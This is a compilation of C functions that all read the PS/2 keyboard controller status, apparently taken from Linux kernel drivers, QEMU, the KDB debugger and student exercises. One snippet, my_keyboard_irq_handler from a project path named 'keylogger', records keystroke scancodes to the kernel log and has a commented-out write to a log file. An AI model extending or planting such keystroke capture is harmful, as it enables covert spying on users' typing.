/* * This reads the keyboard status port, and does the * appropriate action. * * It requires that we hold the keyboard controller * spinlock. */ static unsigned char handle_kbd_event(void) { unsigned char status = kbd_read_status(); unsigned int work = 10000; while ((--work > 0) && (status & KBD_STAT_OBF)) { unsigned char scancode; scancode = kbd_read_input(); /* Error bytes must be ignored to make the Synaptics touchpads compaq use work */ #if 1 /* Ignore error bytes */ if (!(status & (KBD_STAT_GTO | KBD_STAT_PERR))) #endif { if (status & KBD_STAT_MOUSE_OBF) handle_mouse_event(scancode); else handle_keyboard_event(scancode); } status = kbd_read_status(); } if (!work) printk(KERN_ERR "pc_keyb: controller jammed (0x%02X).\n", status); return status; }
void pckbd_blink (char led) { led = led ? (0x01 | 0x04) : 0x00; while (kbd_read_status() & KBD_STAT_IBF) mdelay(1); kbd_write_output(KBD_CMD_SET_LEDS); mdelay(1); while (kbd_read_status() & KBD_STAT_IBF) mdelay(1); mdelay(1); kbd_write_output(led); }
void my_keyboard_irq_handler(int irq, void *dev_id, struct pt_regs *regs) { int scancode = kbd_read_input(); int cp = scancode; int power = 0; int key_status = kbd_read_status(); char buff[15]; int i = 0, n; /* int fd = open("/home/user1/securite/projet/keylogger/keylog.log", O_WRONLY, O_CREAT | O_APPEND); */ while (cp > 0) { cp /= 10; power++; } while (power >= 0) { buff[i++] = (scancode % 10) + '0'; power--; scancode /= 10; } buff[i++] = '\n'; buff[i] = '\0'; /* n = write(fd, buff, i); */ printk(KERN_INFO "%s\n", buff); }
/* * Check if this is a dual port controller. */ static int detect_auxiliary_port(void) { int loops = 10; int retval = 0; /* Put the value 0x5A in the output buffer using the "Write * Auxiliary Device Output Buffer" command (0xD3). Poll the * Status Register for a while to see if the value really * turns up in the Data Register. If the KBD_STAT_MOUSE_OBF * bit is also set to 1 in the Status Register, we assume this * controller has an Auxiliary Port (a.k.a. Mouse Port). */ kb_wait(); kbd_write_command(KBD_CCMD_WRITE_AUX_OBUF); kb_wait(); kbd_write_output(0x5a); /* 0x5a is a random dummy value. */ do { unsigned char status = kbd_read_status(); if (status & KBD_STAT_OBF) { kbd_read_input(); if (status & KBD_STAT_MOUSE_OBF) { printk( "Detected PS/2 Mouse Port.\n"); retval = 1; } break; } mdelay(1); } while (--loops); return retval; }
/* Memory mapped interface */ static uint32_t kbd_mm_readb (void *opaque, target_phys_addr_t addr) { KBDState *s = opaque; if (addr & s->mask) return kbd_read_status(s, 0) & 0xff; else return kbd_read_data(s, 0) & 0xff; }
/* Memory mapped interface */ static uint32_t kbd_mm_readb (void *opaque, hwaddr addr) { KBDState *s = opaque; if (addr & s->mask) return kbd_read_status(s, 0, 1) & 0xff; else return kbd_read_data(s, 0, 1) & 0xff; }
int send_command(unsigned long command){ int a; do{ while(kbd_read_status() == IBF_ERR) tickdelay(WAIT_KBC); sys_inb(IN_BUF, &command); tickdelay(WAIT_KBC); }while(kbd_read_out() != ACK); return 0; }
/* Tell the user who may be running in X and not see the console that we have panic'ed. This is to distingush panics from "real" lockups. Could in theory send the panic message as morse, but that is left as an exercise for the reader. */ void panic_blink(void) { static unsigned long last_jiffie; static char led; /* Roughly 1/2s frequency. KDB uses about 1s. Make sure it is different. */ if (!blink_frequency) return; if (jiffies - last_jiffie > blink_frequency) { led ^= 0x01 | 0x04; while (kbd_read_status() & KBD_STAT_IBF) mdelay(1); kbd_write_output(KBD_CMD_SET_LEDS); mdelay(1); while (kbd_read_status() & KBD_STAT_IBF) mdelay(1); mdelay(1); kbd_write_output(led); last_jiffie = jiffies; } }
int send_argument(unsigned long arg){ do{ while(kbd_read_status() == IBF_ERR) tickdelay(WAIT_KBC); sys_inb(IN_BUF, &arg); tickdelay(WAIT_KBC); if(kbd_read_out() == ACK) return 0; if(kbd_read_out() == ERROR) return 1; }while(1); }
void kdba_local_arch_cleanup(void) { #ifdef CONFIG_VT_CONSOLE int timeout; unsigned char c; if (!kdb_check_kbd_exists()) return; while (kbd_read_status() & KBD_STAT_IBF); kbd_write_command(KBD_CCMD_READ_MODE); mdelay(1); while (kbd_read_status() & KBD_STAT_IBF); for (timeout = 200 * 1000; timeout && (!(kbd_read_status() & KBD_STAT_OBF)); timeout--); c = kbd_read_input(); c |= KBD_MODE_KBD_INT; while (kbd_read_status() & KBD_STAT_IBF); kbd_write_command(KBD_CCMD_WRITE_MODE); mdelay(1); while (kbd_read_status() & KBD_STAT_IBF); kbd_write_output(c); mdelay(1); while (kbd_read_status() & KBD_STAT_IBF); mdelay(1); #endif /* CONFIG_VT_CONSOLE */ }
/* * This reads the keyboard status port, and does the * appropriate action. * * It requires that we hold the keyboard controller * spinlock. */ static unsigned char handle_kbd_event(void) { unsigned char status = kbd_read_status(); unsigned int work = 10000; while (status & KBD_STAT_OBF) { unsigned char scancode; scancode = kbd_read_input(); if (status & KBD_STAT_MOUSE_OBF) { handle_mouse_event(scancode); } else { do_acknowledge(scancode); printk("pc_keyb: %X ", scancode ); } status = kbd_read_status(); if(!work--) { printk("pc_keyb: controller jammed (0x%02X).\n", status); break; } } return status; }
static int kbd_read_data(void) { int val; unsigned char status; val=-1; status = kbd_read_status(); if (status & KBD_STAT_OBF) { val = kbd_read_input(); if (status & (KBD_STAT_GTO | KBD_STAT_PERR)) val = -2; } return val; }
static int __init kbd_read_data(void) { int retval = KBD_NO_DATA; unsigned char status; status = kbd_read_status(); if (status & KBD_STAT_OBF) { unsigned char data = kbd_read_input(); retval = data; if (status & (KBD_STAT_GTO | KBD_STAT_PERR)) retval = KBD_BAD_DATA; } return retval; }
static int kdb_check_kbd_exists(void) { static int kbd_exists = -1; /* One time init */ if (kbd_exists == -1) { if (KDB_FLAG(NO_I8042) || KDB_FLAG(NO_VT_CONSOLE) || (kbd_read_status() == 0xff && kbd_read_input() == 0xff)) kbd_exists = 0; else kbd_exists = 1; } return kbd_exists; }
int kbd_read_out() { unsigned long stat, data; while( 1 ) { stat = kbd_read_status(); if( stat & OBF_ERR ) { sys_inb(OUT_BUF, &data); /* assuming it returns OK */ if ( (stat &(PAR_ERR | TO_ERR)) == 0 ) return data; else return -1; } tickdelay(WAIT_KBC); } }
/* * Check if this is a dual port controller. */ static int __init detect_auxiliary_port(void) { unsigned long flags; int loops = 10; int retval = 0; /* Check if the BIOS detected a device on the auxiliary port. */ if (aux_device_present == 0xaa) return 1; spin_lock_irqsave(&kbd_controller_lock, flags); /* Put the value 0x5A in the output buffer using the "Write * Auxiliary Device Output Buffer" command (0xD3). Poll the * Status Register for a while to see if the value really * turns up in the Data Register. If the KBD_STAT_MOUSE_OBF * bit is also set to 1 in the Status Register, we assume this * controller has an Auxiliary Port (a.k.a. Mouse Port). */ kb_wait(); kbd_write_command(KBD_CCMD_WRITE_AUX_OBUF); kb_wait(); kbd_write_output(0x5a); /* 0x5a is a random dummy value. */ do { unsigned char status = kbd_read_status(); if (status & KBD_STAT_OBF) { (void) kbd_read_input(); if (status & KBD_STAT_MOUSE_OBF) { printk(KERN_INFO "Detected PS/2 Mouse Port.\n"); retval = 1; } break; } mdelay(1); } while (--loops); spin_unlock_irqrestore(&kbd_controller_lock, flags); return retval; }
void kbd_poll() { if (esc_seq) { switch (esc_seq) { case 1: kbd_code = 0x1b; esc_seq++; break; case 2: kbd_code = '['; esc_seq++; break; case 3: kbd_code = esc_code; esc_seq = 0; } } else { while (kbd_read_status() & KBD_STAT_OBF) handle_kbd_event(); } }
void kdba_local_arch_cleanup(void) { #ifdef CONFIG_VT_CONSOLE unsigned char c; while (kbd_read_status() & KBD_STAT_IBF); kbd_write_command(KBD_CCMD_READ_MODE); mdelay(1); while (kbd_read_status() & KBD_STAT_IBF); while ( !(kbd_read_status() & KBD_STAT_OBF) ); c = kbd_read_input(); c |= KBD_MODE_KBD_INT; while (kbd_read_status() & KBD_STAT_IBF); kbd_write_command(KBD_CCMD_WRITE_MODE); mdelay(1); while (kbd_read_status() & KBD_STAT_IBF); kbd_write_output(c); mdelay(1); while (kbd_read_status() & KBD_STAT_IBF); mdelay(1); #endif /* CONFIG_VT_CONSOLE */ }